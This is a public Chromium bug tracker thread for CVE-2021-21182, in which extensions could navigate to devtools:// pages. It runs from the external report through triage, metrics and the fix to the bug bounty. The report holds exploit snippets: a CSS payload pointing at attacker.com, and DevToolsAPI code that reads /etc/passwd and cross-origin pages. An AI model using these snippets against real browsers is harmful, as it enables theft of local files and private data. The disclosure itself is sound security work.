Starred by 2 users

Owner:	tjudkins@chromium.org
CC:	aerot...@chromium.org bmeu...@chromium.org carlosil@chromium.org yangguo@chromium.org rdevl...@chromium.org tvand...@chromium.org nparker@chromium.org nasko@chromium.org solomonkinard@chromium.org tjudkins@chromium.org
Status:	Fixed *(Closed)*
Components:	Platform>Extensions
Modified:	Mar 9, 2021
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Windows, Chrome, Mac
Pri:	2
Type:	Bug-Security

Reward-1000
Security_Severity-Low
Security_Impact-Stable
allpublic
reward-inprocess
CVE_description-submitted
Target-81
M-87
Target-84
Target-83
Target-85
Target-86
Target-87
Release-0-M89
external_security_report
CVE-2021-21182

Issue 1049265: Extensions with no special privileges are allowed to navigate to devtools:// scheme pages.

Reported by herre...@gmail.com on Wed, Feb 5, 2020, 3:13 PM EST

Code

VULNERABILITY DETAILS

It is possible to use the "ws" and "wss" parameters on the devtools://devtools/bundled/inspector.html endpoint to force it to connect to a malicious remote Chrome instance.

Afterwards, the Chrome instance can execute:

```
console.log("%c", "background:url(https://attacker.com/img.png)");
```

Which will be reflected inside the privileged devtools:// page and execute the CSS. The image will also be rendered inside the page.

This can lead to the privileged process being compromised by a bug in the CSS parser / image parser.

Once the renderer process is compromised, the attacker would be able to run arbitrary javascript and read local files / cross-origin pages by leveraging the DevToolsAPI.

```
// Reading local files
var data = "";

DevToolsAPI.streamWrite = function(id, chunk) {
    data += chunk;
}

DevToolsAPI.sendMessageToEmbedder(
    "loadNetworkResource",
    [ "file:///etc/passwd", "", 0 ],
    function (result) {
        console.log(data);
    }
);

// Reading cross-origin page
var data = "";

DevToolsAPI.streamWrite = function(id, chunk) {
    data += chunk;
}

DevToolsAPI.sendMessageToEmbedder(
    "loadNetworkResource",
    [ "https://www.google.com/", "", 0 ],
    function (result) {
        console.log(data);
    }
);
```

Besides the ability to compromise the renderer, the attacker needs to have control over an extension without any privilege that is installed in the victim's browser since the devtools:// page can't normally be launched from the web.

I have also uploaded an unlisted video demonstrating the issue:
https://www.youtube.com/watch?v=ocwp40yZiM4

VERSION
Version 80.0.3987.87 (Official Build) (64-bit)

REPRODUCTION CASE
1. Run ./chrome --remote-debugging-port=9222 to simulate the attacker's browser instance.
2. Open http://localhost:9222/json/new?https://lbherrera.github.io/lab/chrome/devtools/index.html
3. Copy the ID of the page.
4. Download and unzip the extension.
5. Change the pageID variable in the "script.js" file to the ID you just retrieved.
6. Install the extension on your browser.
7. A new window should open automatically displaying an image rendered inside the devtools:// page.

CREDIT INFORMATION
Reporter credit: Luan Herrera (@lbherrera_)

devtools-extension.zip
799 bytes Download

Comment 1 by carlosil@chromium.org on Wed, Feb 5, 2020, 7:05 PM EST

Status: WontFix (was: Unconfirmed)
Cc: carlosil@chromium.org

It's unclear to me what the issue is here. If a user opens up devtools and connects to a remote debugging endpoint, the endpoint will be able to interact with devtools, so that part is working as intended, there are some mitigations in Chrome, such as not being able to open devtools:// links from other sites.

If you also have bugs that perform the "compromise the renderer by a bug in the CSS parser / image parser." those would be valid bugs, so please report them separately.

Comment 2 by herre...@gmail.com on Wed, Feb 5, 2020, 7:23 PM EST

This issue describes an escalation of privilege that could be achieved when an attacker can compromise the renderer through a bug in the CSS parser / image parser since attacker-controlled data is being rendered inside a privileged page.

It is my understanding that a compromised renderer shouldn't be able to read cross-origin pages nor local files under Chrome's current security model.

As for the mitigation you talked about - in the report it is demonstrated that an extension without any permission can force the user to open devtools://

Comment 3 by carlosil@chromium.org on Thu, Feb 6, 2020, 7:02 PM EST

Summary: Extensions with no special privileges are allowed to navigate to devtools:// scheme pages. (was: Same-origin policy bypass / Site Isolation bypass / Local file read when compromising renderer on devtools://)
Status: Assigned (was: WontFix)
Owner: lazyboy@chromium.org
Cc: nparker@chromium.org
Labels: Security_Impact-Stable Security_Severity-Medium M-80 OS-Chrome OS-Linux OS-Mac OS-Windows
Components: Platform>DevTools Platform>Extensions

It seems the issue here is that extensions can navigate to devtools://, since we don't otherwise allow navigations to that scheme. Otherwise I still think the inspector loading content written to the port it is connected to is working as intended. I'll reopen the bug and update the description. Labeling with medium severity since this requires an extension to be installed.

lazyboy: Can you further triage?

Comment 4 by bmeu...@chromium.org on Fri, Feb 7, 2020, 6:07 AM EST

Cc: tvand...@chromium.org aerot...@chromium.org

Comment 5 by nasko@chromium.org on Tue, Feb 11, 2020, 12:13 PM EST

Cc: nasko@chromium.org

Comment 6 by sheriffbot on Fri, Feb 14, 2020, 7:28 PM EST

Labels: Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 7 by sheriffbot on Thu, Feb 20, 2020, 10:51 AM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 8 by sheriffbot on Fri, Feb 21, 2020, 10:51 AM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 15 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 9 by sheriffbot on Sat, Feb 22, 2020, 12:31 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 16 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 by sheriffbot on Sun, Feb 23, 2020, 12:31 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 17 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 11 by sheriffbot on Mon, Feb 24, 2020, 12:32 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 18 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 12 by sheriffbot on Tue, Feb 25, 2020, 12:31 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 19 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 13 by sheriffbot on Wed, Feb 26, 2020, 12:32 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 20 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 14 by sheriffbot on Thu, Feb 27, 2020, 12:31 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 21 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 15 by sheriffbot on Fri, Feb 28, 2020, 12:31 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 22 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 16 by sheriffbot on Sat, Feb 29, 2020, 12:31 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 23 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 17 by sheriffbot on Sun, Mar 1, 2020, 12:31 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 24 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 18 by sheriffbot on Mon, Mar 2, 2020, 12:31 PM EST

lazyboy: Uh oh! This issue still open and hasn't been updated in the last 25 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 19 by tvand...@chromium.org on Mon, Mar 2, 2020, 12:33 PM EST

Owner: bmeu...@chromium.org

Benedikt, this issue has been sitting here for a while and I think this is a backend change. Could you maybe triage it, as lazyboy is unresponsive?

Comment 20 by bmeu...@chromium.org on Tue, Mar 3, 2020, 2:34 AM EST

Owner: rdcronin@google.com
Cc: bmeu...@chromium.org yangguo@chromium.org
Components: -Platform>DevTools

This is not a DevTools issues, but rather an extension problem.

Comment 21 by sheriffbot on Tue, Mar 3, 2020, 12:32 PM EST

rdcronin: Uh oh! This issue still open and hasn't been updated in the last 26 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 22 by sheriffbot on Wed, Mar 4, 2020, 12:32 PM EST

rdcronin: Uh oh! This issue still open and hasn't been updated in the last 27 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 23 by sheriffbot on Thu, Mar 5, 2020, 12:32 PM EST

rdcronin: Uh oh! This issue still open and hasn't been updated in the last 28 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 24 by ajwong@chromium.org on Thu, Mar 5, 2020, 6:39 PM EST

Labels: -Security_Severity-Medium Security_Severity-Low

Moving to Low severity as it attack requires that an attacker already controls an extension on the machine which opens up all sorts of other issues.

Comment 25 by sheriffbot on Fri, Mar 6, 2020, 1:51 PM EST

Labels: -Pri-1 Pri-2

Setting Pri-2 to match security severity Low. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 26 by rdevl...@chromium.org on Fri, Mar 6, 2020, 5:39 PM EST

Owner: tjudkins@chromium.org
Cc: rdevl...@chromium.org

We do allow extensions to navigate to more pages than on the web (e.g., chrome:-scheme pages), and this is important for some use cases. I wonder if devtools is necessary, though. I don't see a real compelling use case, but I could imagine some extensions allowing one-click debug or similar and opening up the inspector to a given page.

The first step here is probably gathering some UMA to see whether or not we could just disallow devtools:// navigations. Tim, do you think you could take this on?

Comment 27 Deleted

Comment 28 by yangguo@chromium.org on Sat, Mar 7, 2020, 5:13 AM EST

Extensions can use the Chrome DevTools protocol directly. I don't think opening DevTools UI is documented or has much value. I think it's rather dangerous.

We've had numerous user reports of DevTools annoyingly opening without their consent. We were wondering whether this was caused by extensions.

Let's disable this and wait for feedback?

Comment 29 by tjudkins@chromium.org on Fri, Mar 13, 2020, 2:42 PM EDT

I threw together a small CL to add UMA logging for the different navigation paths. Do we still want to do that first or do we just want to outright block devtools scheme navigations?

Comment 30 by rdevl...@chromium.org on Thu, Mar 19, 2020, 1:06 PM EDT

I'd feel a bit better with some UMA. If it's as low as we expect, restricting the ability to navigate is really easy (we "just do it"). If it's surprisingly high (session managers? One-click debuggers? Etc), we may need a little bit more messaging.

Comment 31 by bugdroid on Fri, Mar 27, 2020, 6:43 PM EDT

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/93d95f909dfc96de6508cbf518e179ab609fdff2

commit 93d95f909dfc96de6508cbf518e179ab609fdff2
Author: Tim Judkins <tjudkins@chromium.org>
Date: Fri Mar 27 22:42:57 2020

[Extensions] Log if an extension navigation URL has the devtools scheme.

Adds histogram logging to extension navigations caused by tabs.create,
tabs.update, windows.create and browser.openTab (the latter only being
used by apps), detecting if the URLs passed to those functions have the
devtools scheme.

~~Bug: 1049265~~
Change-Id: I7ac97e66ecf31d01d571936614a2d509deb6af9c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2102784
Reviewed-by: Alexei Svitkine <asvitkine@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Commit-Queue: Tim Judkins <tjudkins@chromium.org>
Cr-Commit-Position: refs/heads/master@{#754198}

[modify] https://crrev.com/93d95f909dfc96de6508cbf518e179ab609fdff2/chrome/browser/extensions/api/tabs/tabs_api.cc
[modify] https://crrev.com/93d95f909dfc96de6508cbf518e179ab609fdff2/chrome/browser/extensions/extension_tab_util.cc
[modify] https://crrev.com/93d95f909dfc96de6508cbf518e179ab609fdff2/chrome/browser/extensions/extension_tab_util.h
[modify] https://crrev.com/93d95f909dfc96de6508cbf518e179ab609fdff2/tools/metrics/histograms/histograms.xml

Comment 32 by sheriffbot on Thu, Apr 9, 2020, 12:27 PM EDT

Labels: -M-80 Target-81 M-81

Comment 33 by tjudkins@chromium.org on Fri, May 8, 2020, 3:04 PM EDT

Checking in on this metric a few weeks on, there seem to be literally 0 logged API navigations to devtools scheme URLs. I had to double check that we were actually logging them correctly by triggering one locally and it does update the local chrome://histograms count.

Do we want to gather more data from stable, or are we good to just block these and pass back an error at this point?

Comment 34 by yangguo@chromium.org on Fri, May 8, 2020, 3:21 PM EDT

Thanks for this data!

Since we are already doing this, let's at least wait for Beta. Usage numbers for DevTools are generally fairly low for Dev and Canary when compared to Stable.

Comment 35 by sheriffbot on Wed, May 20, 2020, 1:28 PM EDT

Labels: -M-81 M-83 Target-83

Comment 36 by sheriffbot on Wed, Jul 15, 2020, 1:34 PM EDT

Labels: -M-83 Target-84 M-84

Comment 37 by sheriffbot on Wed, Aug 26, 2020, 1:39 PM EDT

Labels: -M-84 Target-85 M-85

Comment 38 by tjudkins@chromium.org on Mon, Aug 31, 2020, 4:38 PM EDT

So checking in on this once again, on stable we average around 5K - 7K API navigations a week which have the devtools scheme. UMA graph can be seen here:
https://uma.googleplex.com/timeline_v2?sid=53bd460d34d15879164a6a92f9749754#Extensions.UninstallType

Does that seem large enough to warrant some messaging around disabling this?

Comment 39 by yangguo@chromium.org on Tue, Sep 1, 2020, 5:29 AM EDT

I don't think we need special messaging. We also discussed offline that an extension with no "debugger" permission really has no business navigating to devtools://.

Comment 40 by sheriffbot on Wed, Oct 7, 2020, 1:39 PM EDT

Labels: -M-85 M-86 Target-86

Comment 41 by sheriffbot on Fri, Oct 30, 2020, 6:48 PM EDT

Labels: reward-potential

Comment 42 by sheriffbot on Wed, Nov 18, 2020, 12:24 PM EST

Labels: -M-86 M-87 Target-87

Comment 43 by jdeblasio@chromium.org on Mon, Nov 23, 2020, 1:45 PM EST

Gentle ping from a Security 👮. What's the next step to keep this moving this to completion? Thanks!

Comment 44 by tjudkins@chromium.org on Mon, Nov 23, 2020, 4:56 PM EST

Status: Started (was: Assigned)

Thanks for the ping, I had been meaning to get back to this. Writing up the CL now.

Comment 45 by bugdroid on Wed, Nov 25, 2020, 7:42 PM EST

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/5edf2d66fb5119961316c634161220e27c224252

commit 5edf2d66fb5119961316c634161220e27c224252
Author: Tim Judkins <tjudkins@chromium.org>
Date: Thu Nov 26 00:41:01 2020

[Extensions] Block extension API navigations to devtools scheme pages

This CL blocks extension API navigations to devtools scheme pages for
extensions which do not have either the devtools or debugger permission.

~~Bug: 1049265~~
Change-Id: I1db2847c9a15918b3557ec799810013c58a75108
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2555462
Commit-Queue: Tim Judkins <tjudkins@chromium.org>
Reviewed-by: Yang Guo <yangguo@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#831189}

[modify] https://crrev.com/5edf2d66fb5119961316c634161220e27c224252/chrome/browser/extensions/api/tabs/tabs_constants.cc
[modify] https://crrev.com/5edf2d66fb5119961316c634161220e27c224252/chrome/browser/extensions/api/tabs/tabs_constants.h

[modify] https://crrev.com/5edf2d66fb5119961316c634161220e27c224252/chrome/browser/extensions/extension_tab_util.cc
[modify] https://crrev.com/5edf2d66fb5119961316c634161220e27c224252/chrome/browser/extensions/extension_tab_util_unittest.cc

Comment 46 by tjudkins@chromium.org on Wed, Nov 25, 2020, 7:43 PM EST

Status: Fixed (was: Started)

Comment 47 by sheriffbot on Thu, Nov 26, 2020, 12:41 PM EST

Labels: reward-topanel

Comment 48 by sheriffbot on Thu, Nov 26, 2020, 1:56 PM EST

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 49 by adetaylor@google.com on Wed, Dec 2, 2020, 6:57 PM EST

Labels: -reward-topanel reward-unpaid reward-1000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 50 by adetaylor@google.com on Wed, Dec 2, 2020, 7:16 PM EST

Thanks for the report. The VRP panel has decided to award $1000 for this bug.

Comment 51 by adetaylor@google.com on Fri, Dec 4, 2020, 3:17 PM EST

Labels: -reward-unpaid reward-inprocess

Comment 52 by adetaylor@google.com on Wed, Jan 20, 2021, 6:56 PM EST

Labels: -reward-potential external_security_report

Comment 53 by adetaylor@google.com on Fri, Feb 26, 2021, 1:08 PM EST

Labels: Release-0-M89

Comment 54 by adetaylor@google.com on Mon, Mar 1, 2021, 7:28 PM EST

Labels: CVE-2021-21182 CVE_description-missing

Comment 55 by sheriffbot on Thu, Mar 4, 2021, 1:48 PM EST

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 56 by amyressler@google.com on Tue, Mar 9, 2021, 12:59 PM EST

Labels: -CVE_description-missing CVE_description-submitted